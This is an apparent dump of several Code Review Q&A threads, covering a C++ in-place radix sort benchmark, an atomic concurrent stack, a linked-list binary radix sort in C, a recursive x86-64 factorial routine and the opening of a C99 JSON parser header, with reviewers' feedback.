num|3 |0.0092|0.03|0.2664|2.832|32.4554|348.994|3535.21
--------------------------------------------------
pow|4 |0.009|0.0288|0.2794|2.6144|35.1367|401.047|4058.5
--------------------------------------------------
|5 |0.012|0.0447|0.4567|3.8103|49.5403|607.592|6154.31
--------------------------------------------------
2 |6 |0.0125|0.0424|0.3702|4.8526|51.0433|668.851|6713.33
--------------------------------------------------
------------------size mod of 8 ------------------
---------------------size pow 10------------------
--------------------------------------------------
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
--------------------------------------------------
max|2 |0.0066|0.0186|0.1465|1.5798|17.796|194.092|1815.05
--------------------------------------------------
num|3 |0.017|0.0174|0.1431|1.5255|16.8148|181.812|1834.28
--------------------------------------------------
pow|4 |0.0107|0.0289|0.2762|3.2135|36.3079|360.955|3615.19
--------------------------------------------------
|5 |0.01|0.0303|0.2602|2.8911|35.5301|412.652|4225.77
--------------------------------------------------
2 |6 |0.019|0.0304|0.2881|3.3176|42.6521|459.499|4506.64
--------------------------------------------------
------------------size mod of 16 ------------------
---------------------size pow 10------------------
--------------------------------------------------
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
--------------------------------------------------
max|2 |0.0084|0.0174|0.1481|1.5799|17.17|179.65|1811.61
--------------------------------------------------
num|3 |0.0106|0.0169|0.1484|1.498|18.9011|184.272|1828.91
--------------------------------------------------
pow|4 |0.0094|0.0169|0.1459|1.5219|22.7538|206.602|2083.07
--------------------------------------------------
|5 |0.0132|0.0354|0.2809|2.8347|34.8864|395.352|3955.96
--------------------------------------------------
2 |6 |0.0188|0.0334|0.2755|2.9177|33.8708|418.193|4198.72
--------------------------------------------------
------------------size mod of 32 ------------------
---------------------size pow 10------------------
--------------------------------------------------
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
--------------------------------------------------
max|2 |0.0084|0.0189|0.149|1.9447|18.7979|180.437|1806.58
--------------------------------------------------
num|3 |0.0093|0.0166|0.5307|1.4293|19.0638|182.021|1846.18
--------------------------------------------------
pow|4 |0.0124|0.0191|0.1559|1.4994|19.8116|210.089|2111.82
--------------------------------------------------
|5 |0.0092|0.0179|0.1669|1.5301|20.5126|231.144|2303.58
--------------------------------------------------
2 |6 |0.0304|0.1304|0.3452|2.7494|36.1319|398.604|4132.56
--------------------------------------------------
*/
</code></pre>
<h3>The Runtime code</h3>
<pre><code>#include "radix_sort_ftl.h"
#include <stdlib.h> /* srand, rand */
#include <time.h>
#include <iostream>
#include <chrono>
#include<string>
#include <array>
#include <math.h>
class data
{
public:
data() {};
size_t& get_size_t() { return m; };
void operator = (data& T) { m = T.m; };
size_t m;
};
void object_version(const size_t pow10,const size_t pow2,const size_t mod_pow2) {
size_t size = pow(10,pow10);
data* arr = new data[size];
size_t mod = 1 << (2+pow2);
for (size_t i = 0; i < size; i++) {
arr[i].m = rand() % mod;
}
auto started = std::chrono::high_resolution_clock::now();
leixor::radix_sort_ftl(arr, size,mod_pow2);
auto done = std::chrono::high_resolution_clock::now();
std::cout<<"|" << float(std::chrono::duration_cast<std::chrono::nanoseconds>(done - started).count()) / float(1000000);
delete[] arr;
};
void pointer_object_version(const size_t pow10, const size_t pow2, const size_t mod_pow2) {
size_t size = pow(10, pow10);
data** arr = new data*[size];
size_t mod = 1 << (2 + pow2);
for (size_t i = 0; i < size; i++) {
arr[i] = new data();
arr[i]->m = rand() % mod;
}
auto started = std::chrono::high_resolution_clock::now();
leixor::radix_sort_ftl(arr, size, mod_pow2);
auto done = std::chrono::high_resolution_clock::now();
std::cout << "|" << float(std::chrono::duration_cast<std::chrono::nanoseconds>(done - started).count()) / float(1000000);
for (size_t i = 0; i < size; i++) {
delete arr[i];
}
delete[] arr;
};
int main() {
srand(time(NULL));
std::cout <<
"\n --------------------------------------------------"<<
"\n ----------------object oriented version-----------"<<
"\n --------------------------------------------------\n\n";
std::array<std::string, 5> alfa = { "\nmax|2 ","\nnum|3 ","\npow|4 ","\n |5 ","\n2 |6 " };
for (size_t mod_pow2 = 2; mod_pow2 < 6; mod_pow2++){
std::cout <<
"\n ------------------size mod of "<< size_t(1<<mod_pow2)<<" ------------------";
std::cout <<
"\n ---------------------size pow 10------------------" <<
"\n --------------------------------------------------" <<
"\n | 1 | 2 | 3 | 4 | 5 | 6 | 7 |";
for (size_t z = 0; z < 5; z++) {
std::cout << "\n --------------------------------------------------"<<
alfa[z];
for (size_t i = 1; i < 8; i++){
object_version(i,z,mod_pow2);
}
}
std::cout << "\n --------------------------------------------------\n";
}
std::cout <<
"\n --------------------------------------------------" <<
"\n ----------------pointer oriented version-----------" <<
"\n --------------------------------------------------\n\n";
for (size_t mod_pow2 = 2; mod_pow2 < 6; mod_pow2++) {
std::cout <<
"\n ------------------size mod of " << size_t(1 << mod_pow2) << " ------------------";
std::cout <<
"\n ---------------------size pow 10------------------" <<
"\n --------------------------------------------------" <<
"\n | 1 | 2 | 3 | 4 | 5 | 6 | 7 |";
for (size_t z = 0; z < 5; z++) {
std::cout << "\n --------------------------------------------------" <<
alfa[z];
for (size_t i = 1; i < 8; i++) {
pointer_object_version(i, z, mod_pow2);
}
}
std::cout << "\n --------------------------------------------------\n";
}
}
</code></pre>
<p>So tell me, how does it look?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T20:30:12.640",
"Id": "504017",
"Score": "0",
"body": "BTW, ftl is just faster than light, i just wanted to do some reference"
}
] |
[
{
"body": "<p><strong>Note: I wrote this answer in response to your other post, which was deleted just before I posted. However, it nearly all applies to this code too, so here it is:</strong></p>\n<hr />\n<pre><code>size_t& logb2(size_t num)\nstatic size_t& get_max(obj_arr*& arr, const size_t& size)\nstatic size_t& get_max(obj_arr**& arr, const size_t& size)\n</code></pre>\n<p><strong>bug:</strong> These all return references to local objects (i.e. undefined behavior that may crash the program or cause incorrect results).</p>\n<hr />\n<pre><code>static size_t& logb2(size_t num) {\n size_t aux = 1;\n while (0 < (num >>= 1))\n aux++;\n return aux;\n}\n</code></pre>\n<p>Besides returning a reference to a local variable, this function is incorrect:</p>\n<ul>\n<li><code>log2(1)</code> is <code>0</code>, but this function returns <code>1</code>.</li>\n<li><code>log2(2)</code> is <code>1</code>, but this function returns <code>2</code></li>\n<li><code>log2(0)</code> is an invalid operation, but this function returns <code>1</code>, which seems rather dangerous. We should probably <code>assert</code> that <code>num</code> isn't zero.</li>\n</ul>\n<p>In C++20, we can use <code>std::bit_width(num) - 1</code> (after checking for zero input).</p>\n<hr />\n<pre><code>template<class obj_arr>\nstatic size_t& get_max(obj_arr*& arr, const size_t& size) {\n\n size_t i = size%2, aux = arr[0].get_size_t(), aux2;\n for (; i < size; i += 2) {\n aux2 = arr[i].get_size_t();\n aux = aux2 * (aux < aux2) + aux * (aux >= aux2);\n aux2 = arr[i + 1].get_size_t();\n aux = aux2 * (aux < aux2) + aux * (aux >= aux2);\n }\n return aux;\n}\n</code></pre>\n<p>What if the array <code>size</code> is zero?</p>\n<p>If we have somehow ensured that the array size is not zero somewhere else, we should <code>assert</code> that in this function (and probably document it too).</p>\n<p>I'd be surprised if the <code>aux = aux2 * (aux < aux2) + aux * (aux >= aux2);</code> hack is faster than simply: <code>aux = (aux < aux2 ? aux2 : aux);</code>, or if looping over two objects at a time is beneficial.</p>\n<hr />\n<p>[note: code from the other deleted post, but most of the advice below applies to this one]</p>\n<pre><code>template<class obj_arr>\nvoid two_rad(obj_arr*& arr, size_t start, size_t finish, size_t depth) {\n depth--;\n static size_t alfa, s, f, move, size;\n static bool mod_cal;\n static obj_arr auxiliar;\n size_t mid;\n size = (f = finish) - (s = start);\n for (alfa = 1; size > alfa; alfa++) {\n auxiliar = arr[s];\n mod_cal = (auxiliar.get_size_t() >> depth) % 2;\n move = (f -= mod_cal) * mod_cal + s * !mod_cal;\n arr[s] = arr[move];\n arr[move] = auxiliar;\n s += !mod_cal;\n }\n mid = s+!(arr[s].get_size_t() >> depth)%2;\n\n if (depth>0) {\n if (mid - start > 2)\n two_rad(arr, start, mid, depth);\n else if (mid - start > 1) {\n mod_cal=arr[start].get_size_t() > arr[start + 1].get_size_t();\n auxiliar = arr[start];\n arr[start] = arr[start + mod_cal];\n arr[start + mod_cal] = auxiliar;\n }\n if (finish - mid > 2)\n two_rad(arr, mid, finish, depth);\n else if (finish - mid > 1 ) {\n mod_cal = arr[mid].get_size_t() > arr[mid + 1].get_size_t();\n auxiliar = arr[mid];\n arr[mid] = arr[mid + mod_cal];\n arr[mid + mod_cal] = auxiliar;\n }\n }\n\n}\n</code></pre>\n<p>There's no state here that we want to be <code>static</code> (i.e. persist between calls to this function).</p>\n<p>We should use local variables, which should be declared one at a time as close to the point of use as possible. So no <code>size = (f = finish) - (s = start);</code>. <code>alfa</code> should be declared where it is set in the <code>for</code> loop. <code>auxiliar</code>, <code>mod_cal</code>, <code>move</code> should all be inside the <code>for</code> loop. <code>mid</code> should be declared where it is set after the for loop.</p>\n<p>We should also not reuse variables when we don't need to. Especially for simple POD types, we can let the compiler worry about optimization.</p>\n<p>Note that <code>std::swap</code> exists, so we can do for example: <code>std::swap(arr[s], arr[move])</code>, which is much clearer.</p>\n<hr />\n<p>It's unnecessary to force people to use the <code>data</code> class, or implement a type with a <code>size_t& get_size_t() { return m; };</code>. We should also allow sorting types other than <code>size_t</code>.</p>\n<p>We can do this by accepting a pointer range, e.g.:</p>\n<pre><code>template<class It>\nbool quick_radix_sort(It begin, It end) {\n size_t size = (end - begin);\n ...\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-05T05:59:52.067",
"Id": "504433",
"Score": "0",
"body": "thx, but for that i temporaly i delete the code because of a \"last sort\"; i am repairing the code; your recomendations will be add onn;"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-04T19:17:38.187",
"Id": "255618",
"ParentId": "255443",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T18:30:16.433",
"Id": "255443",
"Score": "0",
"Tags": [
"c++",
"performance",
"programming-challenge",
"sorting",
"radix-sort"
],
"Title": "MSD Radix sort in Place in c++, Object/Pointer Oriented"
}
|
255443
|
<p>I've written a toy example of the concurrent stack which has only three functions <code>push()</code>, <code>peek()</code>, and <code>length()</code>. I've used atomic variables for synchronization. Is there anything incorrect in terms of synchronization? Could you please review this code?</p>
<pre><code>#include <iostream>
#include <thread>
#include <atomic>
#include <vector>
template <typename T>
struct Node {
Node<T>* next{};
T val{};
Node(const T& v) : val(v) {};
};
template <typename T>
class Stack {
std::atomic<Node<T>*> top{};
std::atomic<size_t> size{};
public:
void push(const T& data) {
Node<T>* node = new Node<T>(data);
size_t length = size.load(std::memory_order_relaxed);
node->next = top.load(std::memory_order_relaxed);
while(!std::atomic_compare_exchange_weak_explicit(&top, &node->next, node, std::memory_order_release, std::memory_order_relaxed));
while(!std::atomic_compare_exchange_weak_explicit(&size, &length, size + 1, std::memory_order_release, std::memory_order_relaxed));
}
Node<T>* peek() {
return top.load();
}
size_t length() const {
return size;
}
};
template <typename T>
class Runner {
int cnt{};
Stack<T>* ss{};
public:
Runner(const int n, Stack<T>* s) : cnt(n), ss(s) {}
void operator()() {
for(int i = 0; i < cnt; ++i) {
size_t size = ss->length();
if(size >= cnt) {
return;
}
ss->push(i);
}
}
Stack<T>* get_stack() const {
return ss;
}
};
int main() {
std::vector<std::thread> threads{};
Stack<int>* s = new Stack<int>();
int n = 10;
Runner<int> r(n, s);
for(int i = 0; i < 3; ++i) {
threads.push_back(std::move(std::thread(r)));
}
for(int i = 0; i < 3; ++i) {
threads[i].join();
}
Stack<int>* top = r.get_stack();
Node<int>* head = top->peek();
while(head) {
std::cout << head->val << ", ";
head = head->next;
}
size_t size = top->length();
return 0;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T00:59:49.580",
"Id": "504025",
"Score": "0",
"body": "There's the possibility that your example will add more than 10 numbers to your stack."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T09:00:31.040",
"Id": "504050",
"Score": "0",
"body": "So, probably I need to apply some sync mechanism in operator()() as well"
}
] |
[
{
"body": "<h3>Naming</h3>\n<p>My immediate reaction is that without a <code>pop</code> (or something equivalent) it's not really a stack. Especially given the item below about exposing the implementation details, from a client's viewpoint it's really a linked list that supports only a couple of operations: adding nodes to the beginning, getting the length, and (by knowing the implementation) traversing the list.</p>\n<h3>Exposing Internal Details</h3>\n<p>As it stands now, it seems to rely on client code to realize that it's implemented as a linked-list, so access to elements other than the top require client code to use <code>peek</code> to get a pointer to the top element, and then traverse the nodes of the linked list to get to the rest of the elements.</p>\n<h3>Avoiding Race Conditions</h3>\n<p>I'd also question (to at least some degree) inclusion of <code>length</code> in the interface. In a multi-threaded environment, almost all possible uses of <code>length</code> are practically guaranteed to introduce race conditions--by the time you actually try to <em>use</em> a length you've read, the length may have changed, so you're using obsolete information.</p>\n<p>It can (at least sort of) make some sense to use a <code>length</code> for things like logging, simply to give the user at least some notion of whether the stack is (for example) growing constantly (but in this case, that's pretty much a given, since you've omitted a <code>pop</code> from its interface).</p>\n<h3>Side Note</h3>\n<p>It's not immediately apparent whether you're thinking of <code>Runner</code> as part of the <code>Stack</code> itself, or an ancillary class you included to demonstrate/test the actual <code>Stack</code>. At least for now, I've treated it as ancillary, so it shows how the <code>Stack</code> is used, but I haven't really tried to review it in itself.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T16:20:49.673",
"Id": "255470",
"ParentId": "255445",
"Score": "2"
}
},
{
"body": "<p>To add to Jerry Coffin's answer:</p>\n<h1>Move <code>struct Node</code> into <code>class Stack</code></h1>\n<p>A <code>Node</code> is just an implementation detail of a <code>Stack</code>, so move the declaration of the former into the latter. As a bonus you avoid having to repeat <code><T></code>. Here is how this looks:</p>\n<pre><code>template <typename T>\nclass Stack {\npublic:\n struct Node {\n Node* next{};\n T val{};\n Node(const T& v): val(v) {};\n };\n\nprivate:\n std::atomic<Node*> top{};\n ...\n};\n</code></pre>\n<p>While I agree with Jerry Coffin that you should have a proper <code>pop()</code> instead of a <code>peek()</code>, using the latter would now look like this:</p>\n<pre><code>Stack<int>::Node* head = top->peek();\n</code></pre>\n<p>Although you should just use <code>auto</code> here:</p>\n<pre><code>auto head = top->peek();\n</code></pre>\n<h1>Don't forget to clean up memory</h1>\n<p>I see <code>new</code> in your code but no <code>delete</code>. That means you have a memory leak. Normally I would recommend you use <a href=\"https://en.cppreference.com/w/cpp/memory/unique_ptr\" rel=\"nofollow noreferrer\"><code>std::unique_ptr<></code></a> to manage memory, but since you are using atomic pointers, that doesn't work. So ensure you add destructors to <code>Node</code> and <code>Stack</code> so that the resources are cleaned up correctly.</p>\n<p>And in <code>main()</code>, there is no reason to use <code>new</code> to create a new <code>Stack</code>, just declare it on... the stack:</p>\n<pre><code>Stack<int> s;\nRunner<int> r(n, &s);\n</code></pre>\n<h1>Use <code>emplace_back()</code></h1>\n<p>In the following line, the <code>move()</code> is unnecessary:</p>\n<pre><code>threads.push_back(std::move(std::thread(r)));\n</code></pre>\n<p>This is because <code>std::thread(r)</code> is a temporary, and thus the overload of <a href=\"https://en.cppreference.com/w/cpp/container/vector/push_back\" rel=\"nofollow noreferrer\"><code>push_back()</code></a> that takes an r-value reference will be chosen. However, even better is to use <a href=\"https://en.cppreference.com/w/cpp/container/vector/emplace_back\" rel=\"nofollow noreferrer\"><code>emplace_back()</code></a>, as then you can simply write:</p>\n<pre><code>threads.emplace_back(r);\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T21:44:35.270",
"Id": "504081",
"Score": "0",
"body": "Thanks a lot for the review and for your time."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T21:43:32.440",
"Id": "255476",
"ParentId": "255445",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255470",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T18:56:16.690",
"Id": "255445",
"Score": "3",
"Tags": [
"c++",
"multithreading",
"thread-safety",
"stack",
"atomic"
],
"Title": "A toy example of the concurrent stack via atomic variables and CAS pattern"
}
|
255445
|
<p>I am trying to implement binary radix sort in C which sorts a linked list of integers stably. Although my algorithm has a time complexity of <code>O(log2(k).n)</code> (where k is the biggest integer in the linked list), other standard implementations of algorithms like merge sort/quick sort seem to have better execution time even when input size is large (<code>n</code>>10^6) and <code>k</code>is small (<code>k</code><1000). Am I doing something wrong which is causing these longer execution times? Could you review this code?</p>
<p>Here is the code for my implementation:</p>
<pre><code>#include<stdio.h>
#include<math.h>
#include<stdlib.h>
#include<time.h>
struct ListNode {
int val;
struct ListNode *next;
};
void print_list(struct ListNode *node) // printing integer values of linked list
{
while(node!=NULL)
{
printf("%d, ", node->val);
node=node->next;
}
}
int getMax(struct ListNode *node) // finding biggest integer in linked list
{
int max=node->val;
while(node!=NULL)
{
if(node->val > max)
{
max=node->val;
}
node=node->next;
}
return max;
}
void addMin(struct ListNode *node, int min) // Adding smallest integer in linked list so that no integer in linked list is negative
{
while(node!=NULL)
{
node->val+=min;
node=node->next;
}
}
void subMin(struct ListNode *node, int min) // returning linked list to original values after sorting
{
while(node!=NULL)
{
node->val-=min;
node=node->next;
}
}
int getMin(struct ListNode *node) // finding smallest integer in linked list
{
int min=node->val;
while(node!=NULL)
{
if(node->val < min)
{
min=node->val;
}
node=node->next;
}
return min;
}
void binarySort(struct ListNode **head, int bit) // sorts linked list based on a particular bit
{
struct ListNode *temp = *head;
struct ListNode *insertNode = *head;
struct ListNode *prevNode = NULL;
int flag=0;
int flag2=0;
if((((*head)->val) & (1 << (bit - 1))))
{
flag=1;
}
while(temp!=NULL)
{
if(flag==0 && !((temp->val) & (1 << (bit - 1))))
{
if((temp->next)!=NULL && (((temp->next)->val) & (1 << (bit - 1))))
{
insertNode=temp;
flag=1;
flag2=1;
}
}
else if(flag2==0 && !((temp->val) & (1 << (bit - 1))))
{
prevNode->next=temp->next;
temp->next=*head;
insertNode=temp;
*head=temp;
temp=prevNode;
flag=1;
flag2=1;
}
else if(!((temp->val) & (1 << (bit - 1))))
{
prevNode->next=temp->next;
temp->next=insertNode->next;
insertNode->next=temp;
insertNode=temp;
temp=prevNode;
}
prevNode=temp;
temp=temp->next;
}
}
struct ListNode* sortList(struct ListNode* head) // binary radix sort
{
if(head==NULL)
{
return NULL;
}
int min=getMin(head);
if(min<0)
{
subMin(head, min);
}
int biggest_int_len = log2(getMax(head))+1;
int i;
for(i=1 ; i<=biggest_int_len ; i++)
{
binarySort(&head, i);
}
if(min<0)
{
addMin(head, min);
}
return head;
}
int main() // code to test the function
{
srand(time(0));
int num;
struct ListNode *head = (struct ListNode*) malloc(sizeof(struct ListNode));
head->next=NULL;
printf("Enter input size: ");
scanf("%d", &num);
head->val=rand()%1000;
struct ListNode *prevNode = head;
while(num-1>0)
{
struct ListNode *temp = (struct ListNode*) malloc(sizeof(struct ListNode));
temp->val=rand()%1000;
temp->next=NULL;
prevNode->next=temp;
prevNode=temp;
num--;
}
printf("\n\n");
print_list(head);
clock_t t;
t = clock();
struct ListNode *sortedList=sortList(head);
t = clock() - t;
double time_taken = ((double)t)/CLOCKS_PER_SEC; // in seconds
printf("\n\n");
print_list(sortedList);
printf("\n\nfun() took %f seconds to execute \n", time_taken);
}
</code></pre>
<p>Also is there a good way to test how much memory the sort uses?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T06:31:39.357",
"Id": "504039",
"Score": "0",
"body": "To handle negative numbers, just add special logic for sign bits (reverse it) may save findMin, subMin, addMin parses. Also, you may avoid find max value first, but know if I'm running last parse in binarySort. In binarySort, maintain 2 linked list and concat them when all values add to some of them would simplify your codes."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T20:39:36.370",
"Id": "504080",
"Score": "0",
"body": "Thank you for your suggestions. I will try to implement them."
}
] |
[
{
"body": "<ul>\n<li><p><strong>Performance</strong></p>\n<p>The root cause is a poor referential locality. As sorting progresses, and the nodes get relinked, they become accessed in no particular order, all over the memory. This results in too many cache misses, and a cache miss is <em>very</em> expensive.</p>\n</li>\n<li><p><strong>binarySort</strong> is a bit too complicated. It is very hard to follow. Things like <code>flag</code>, and <code>flag2</code>, (what do they signify?) are always a signal of an unclear design.</p>\n<p>It <em>seems</em> that those flags stem from the special-casing a head node. Try to avoid special cases. Usually having a dummy node greatly simplifies the design. Consider (untested)</p>\n<pre><code> void binarySort(struct ListNode ** head, int bit)\n {\n struct ListNode dummy = { .next = *head };\n struct ListNode *base = &dummy;\n struct ListNode *prev = base;\n struct ListNode *curr = prev->next;\n while (curr != NULL) {\n if (!bit_is_set(curr->val, bit)) {\n prev->next = curr->next;\n curr->next = base->next;\n base = curr;\n } else {\n prev = prev->next;\n }\n curr = prev->next;\n }\n *head = dummy.next;\n }\n</code></pre>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T03:24:17.960",
"Id": "504095",
"Score": "0",
"body": "Had you ever changed `curr` in the loop? And maybe the condition `curr != NULL` will never change and the loop will never finish."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T07:26:28.737",
"Id": "504108",
"Score": "0",
"body": "Typo. Thanks, The `cursor` shall be `curr`. Fixed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T12:16:35.443",
"Id": "504133",
"Score": "0",
"body": "Ah your code seems to make much more sense. Thank you for the answer."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T01:18:14.687",
"Id": "255483",
"ParentId": "255451",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255483",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T22:37:49.053",
"Id": "255451",
"Score": "1",
"Tags": [
"algorithm",
"c",
"sorting",
"linked-list"
],
"Title": "Binary Radix Sort implementation on linked list"
}
|
255451
|
<p>The following assembly program works to print the factorial of a number:</p>
<pre><code>SYS_EXIT = 60
.globl _start
_start:
# run 4! --> 4*3*2*1 = 24
mov $4, %edi
call factorial
mov %eax, %edi
mov $SYS_EXIT, %eax
syscall
.type factorial @function
factorial:
# if it is the base case, return 1 and exit
cmp $1, %edi
jne _factorial
mov $1, %eax
ret
_factorial:
# if not the base case, set up the stack frame
push %rbp
mov %rsp, %rbp
push %rdi # move the current value or n to the stack,
dec %rdi # so we can pop it later and multiple by the factorial(n-1) function
call factorial
pop %rbx
mul %rbx # multiples eax (return of factorial) by previoud rdi (n)
# clean up the stack frame
mov %rbp, %rsp
pop %rbp
ret
</code></pre>
<p>Here is an example output:</p>
<blockquote>
<p>$ as factorial.s -o factorial.o && ld factorial.o -o factorial && ./factorial; echo $? <br />
24</p>
</blockquote>
<p>How does the program look? Any feedback would be greatly appreciated!</p>
|
[] |
[
{
"body": "<h3>Input Handling</h3>\n<p>At least at first glance, it looks like this doesn't handle the factorial of zero correctly. 0! is equal to 1, so fixing it is pretty trivial, by changing <code>jne _factorial</code> to <code>ja _factorial</code>:</p>\n<pre><code># if it is the base case, return 1 and exit\ncmp $1, %edi \nja _factorial\nmov $1, %eax\nret\n</code></pre>\n<p>Since factorial isn't (at least normally) defined for negative numbers, I've treated the input as unsigned. If you want to treat it as signed, you'd use <code>jg</code> instead of <code>ja</code>.</p>\n<h3>Register Usage</h3>\n<p><code>mul</code> produces a result in <code>edx:eax</code>, not just in <code>eax</code>, so you normally want to clear <code>edx</code> before you start doing your multiplications.</p>\n<h3>Stack Frame</h3>\n<p>I would rewrite the function a bit to use an internal function for the recursion. That internal function would use a purely register-based calling convention to avoid setting up a stack frame for every invocation.</p>\n<p>Using Intel syntax, I'd write the code something on this general order:</p>\n<pre><code>; when first called, input value in edi\n; and edx:eax containing 0:1\n; result: factorial in edx:eax\n;\ninternal_factorial:\n mul eax, edi\n sub edi, 1\n jz done\n call internal_factorial\ndone:\n ret\n</code></pre>\n<p>Then the main routine would be something on this general order:</p>\n<pre><code>factorial:\n mov eax, 1 ; prepare our 64-bit result value in edx:eax\n xor edx, edx\n cmp edi, eax ; check for (either) base case\n jbe do_ret ; if it's not a base case, compute the factorial\n call internal_factorial\ndo_ret:\n ret\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T00:48:04.460",
"Id": "504024",
"Score": "0",
"body": "Why are you zeroing `edx`? It is never read, only written to (by the `mul`), in the OP, and is otherwise completely unused in your version."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T01:16:57.600",
"Id": "504030",
"Score": "0",
"body": "@1201ProgramAlarm: Clearing EDX allows the caller to actually get a result in edx:eax instead of only in eax. Depending on the prior state of the processor, this can also actually improve speed. The processor detects clearing a register (such as with `xor reg, reg` or `sub reg, reg`) so afterwards it knows operations that affect that register don't depend on its prior state, so it can execute the two sets of operations in parallel."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T06:10:34.117",
"Id": "504038",
"Score": "1",
"body": "One-operand `mul` *overwrites* `rdx`, the previous state of it doesn't matter. It's `div` before which `rdx` should usually be zeroed"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T23:56:52.190",
"Id": "255453",
"ParentId": "255452",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T23:01:18.083",
"Id": "255452",
"Score": "0",
"Tags": [
"assembly",
"x86",
"amd64"
],
"Title": "Writing a recursive factorial function in x86-64"
}
|
255452
|
<h1>About</h1>
<p>I've decided to challenge myself and write a JSON parser in C99 (i've written them in C++ before, but never in plain old C), and here's what I ended up with, it works well from what I've tried.</p>
<p>The code was tested with a few relatively complex json files, and it had no problem handling them, I also ran it through <code>clang-check -analyze</code>, and it had a few minor warnings that I fixed.</p>
<p>Everything (except for the hash algorithm) was written by me.</p>
<h1>Info</h1>
<ul>
<li>The underlying type, <code>JSON_Element</code>, is a tagged union;</li>
<li><code>JSON_Object</code> is a hash table;</li>
<li><code>JSON_Array</code> is a dynamic array a-la <code>std::vector</code>;</li>
<li><code>JSON_String</code> is a fixed-size null terminated C-string;</li>
<li><code>JSON_Integer</code> is simply a <code>int64_t</code>;</li>
<li><code>JSON_Double</code> is simply a <code>double</code>;</li>
<li><code>true</code>, <code>false</code> and <code>null</code> are represented as union tags without associated structs;</li>
</ul>
<h1>Code</h1>
<h2>json.h</h2>
<pre><code>#pragma once
#include "utils.h"
#ifdef __cplusplus
#include <cstdio>
extern "C" {
#else
#include <stdio.h>
#endif // __cplusplus
typedef struct JSON_Element JSON_Element;
typedef enum JSON_Element_Type {
JSON_NULL,
JSON_ARRAY,
JSON_OBJECT,
JSON_INTEGER,
JSON_DOUBLE,
JSON_STRING,
JSON_TRUE,
JSON_FALSE,
JSON_PARSE_ERROR,//JSON_PARSE_ERROR is a JSON_STRING that describes the error that happened during json_parse
} JSON_Element_Type;
typedef struct JSON_Object_Table JSON_Object_Table;
typedef struct JSON_Object {
JSON_Element_Type type;
JSON_Object_Table * tbl;
} JSON_Object;
JSON_Object * json_make_object();
JSON_Element * json_object_get(JSON_Object *,const char * key);//pointers returned from this are 'fragile' they may break when modifying the object
JSON_Element * json_object_get_n(JSON_Object *,const char * key,size_t n);//pointers returned from this are 'fragile' they may break when modifying the object
void json_object_set(JSON_Object *,const char * key,JSON_Element * elem);//elem pointer is invalidated
void json_object_set_n(JSON_Object *,const char * key,size_t n,JSON_Element * elem);//elem pointer is invalidated
void json_free_object(JSON_Object *);
typedef struct JSON_Array {
JSON_Element_Type type;
size_t size;
size_t alloc;
JSON_Element * arr;
} JSON_Array;
JSON_Array * json_make_array();
void json_free_array(JSON_Array *);
JSON_Element * json_array_get(JSON_Array * arr,size_t index);//pointers returned from this are 'fragile' they may break when modifying the array
void json_array_set(JSON_Array * arr,JSON_Element * elem,size_t index);//elem pointer is invalidated
void json_array_push(JSON_Array * arr,JSON_Element * elem);//elem pointer is invalidated
int json_array_insert(JSON_Array * arr,JSON_Element * elem,size_t index);//if returns 1, insertion failed and passed elem pointer is still valid, otherwise elem pointer is invalidated
void json_array_remove(JSON_Array * arr,size_t index);
typedef struct JSON_String {
JSON_Element_Type type;
size_t len;
char * str;
} JSON_String;
JSON_String * json_make_string(const char * s);
JSON_String * json_make_string_n(const char * s,size_t n);
void json_set_string(JSON_String * str,const char * s);
void json_set_string_n(JSON_String * str,const char * s,size_t n);
void json_free_string(JSON_String *);
typedef struct JSON_Integer {
JSON_Element_Type type;
int64_t i;
} JSON_Integer;
JSON_Integer * json_make_integer(int64_t i);
typedef struct JSON_Double {
JSON_Element_Type type;
double d;
} JSON_Double;
JSON_Double * json_make_double(double d);
struct JSON_Element {
union {
JSON_Element_Type type;
JSON_Array _arr;
JSON_Object _obj;
JSON_String _str;
JSON_Integer _int;
JSON_Double _double;
};
};
void json_free_element(JSON_Element *);
JSON_Element * json_parse_n(const char * s,size_t n);
JSON_Element * json_parse(const char * s);
void json_write_element(FILE *f,JSON_Element *,size_t indentation);
void json_write_object(FILE *f,JSON_Object *,size_t indentation);
void json_write_array(FILE *f,JSON_Array *,size_t indentation);
